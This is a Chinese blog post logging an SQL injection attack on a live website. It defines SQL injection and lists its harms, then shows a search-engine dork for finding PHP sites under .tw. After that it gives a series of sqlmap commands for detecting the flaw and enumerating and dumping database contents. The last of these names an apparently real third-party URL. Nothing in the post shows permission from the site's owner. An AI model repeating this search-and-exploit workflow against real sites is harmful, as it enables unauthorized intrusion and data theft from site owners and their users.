记录一次对某网站的sql注入

本文介绍了SQL注入的概念,详细阐述了其危害,包括数据泄漏、网页篡改等。并通过实例展示了如何使用sqlmap工具检测和利用SQL注入漏洞,从搜索、检测到数据导出的全过程。最后,强调了判断和防范SQL注入的重要性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

📢📢📢📢📢📢
感谢您的观看,正在学习网安的各种知识,欢迎大家一起交流学习!

如果文章对您有所帮助,记得点个关注!!!
📣📣📣📣📣📣

目录

一,SQL注入是什么

 二,SQL注入危害

 三,对某网站的实测记录

1.使用bing搜索site:tw  inurl:php(site指定区域,inurl:url链接包含的内容)

 2.打开网站发现存在一个id=xxx可能存在一个sql注入漏洞

 3.使用sqlmap工具进行注入检测

 四,总结


一,SQL注入是什么

攻击者把 SQL 命令语句作为输入被服务器 SQL 解释器正确解析执行,数据库把查询到
的结果返回给服务器,然后呈现给攻击者,攻击者由此获得数据库内的数据信息。

 二,SQL注入危害

数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。

网页篡改:通过操作数据库对特定网页进行篡改。

网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。

数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。

服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。

SQL注入是危害WEB安全的主要攻击手段,存在SQL注入攻击的网站一但被攻击成功
,产生的后果将有可能是毁灭性及不可恢复的。

 三,对某网站的实测记录

1.使用bing搜索site:tw  inurl:php(site指定区域,inurl:url链接包含的内容)

 2.打开网站发现存在一个id=xxx可能存在一个sql注入漏洞

 

 3.使用sqlmap工具进行注入检测

1)python sqlmap.py http://xxxxxx --batch    (batch采用默认配置对提示进行设置

发现存在一个get注入漏洞,那就可以直接进行get注入 

 

2)查看数据库信息

 python sqlmap.py http://xxxxxxxxxxxxxxx --batch --dbs

(--dbs获取对方数据库所有库的名称)

 发现存在两个数据库

 

3)查看数据库中所有表

python sqlmap.py http://xxxxxxxx --D information_schema --tables

获取information——schema库下的表)  

 4)查看表中的字段

python sqlmap.py http://xxxxxxxx --D information_schema -T USER_PRIVILEGES --columns

获取information_schema表,T USER_PRIVILEGES表中的字段) 

 

 5)爆破users表中特殊字段的信息

python sqlmap.py http://www.diffuser.com.tw/page.php?id=116 --batch -D information_schema -T USER_PRIVILEGES -C "GRANTEE,PRIVILEGE,IS_GRANTABLE,TABLE_CATALOG" --dump
(导出数据指定的数据)

 四,总结

根据客户端返回的结果来判断提交的测试语句是否成功被数据库引擎执行,如果测试
语句被执行了,说明存在注入漏洞
按参数类型分类,发现该网站输入数字型注入

评论 21
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

干掉芹菜

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值